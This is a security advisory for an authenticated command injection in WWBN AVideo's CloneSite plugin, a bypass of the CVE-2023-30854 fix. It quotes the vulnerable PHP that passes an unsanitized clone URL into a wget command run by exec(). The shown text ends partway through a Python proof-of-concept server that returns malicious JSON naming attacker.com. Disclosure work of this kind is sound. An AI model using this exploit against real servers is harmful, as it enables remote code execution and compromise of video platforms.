WWBN AVideo is an open source video platform. In versions 12.4 and prior, a command injection vulnerability exists at `plugin/CloneSite/cloneClient.json.php` which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for CVE-2023-30854, which affects WWBN AVideo up to version 12.3. This issue is patched in commit 1df4af01f80d56ff2c4c43b89d0bac151e7fb6e3.

Affected: Packagist: wwbn/avideo

# WWBN AVideo Authenticated RCE

A command injection vulnerability exists at `plugin/CloneSite/cloneClient.json.php` which allows Remote Code Execution if you CloneSite Plugin. This is a bypass to the fix for [CVE-2023-30854](https://cve.report/CVE-2023-30854) which affects WWBN Avideo up to version 12.3

## Vulnerable Code

/plugin/CloneSite/cloneClient.json.php

```php $json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile)); $json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles)); $json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));

// get dump file $cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}"; $log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file"); exec($cmd . " 2>&1", $output, $return_val); ```

The `$objClone->cloneSiteURL` is not properly sanitized. ## Exploit Proof-of-Concept

avidexploit.py ```python from http.server import BaseHTTPRequestHandler, HTTPServer import time

hostName = "localhost" serverPort = 8080

class MyServer(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-type", "application/json") self.end_headers() self.wfile.write(bytes("{\"error\":false,\"msg\":\"\",\"url\":\"https:\/\/attacker.com/\/\",\"key\":\"2d6db3c09e41a9c27dbc72aecc4a6fc0\",\"useRsync\":1,\"videosDir\":\"\/var\/www\/html\/demo.avideo.…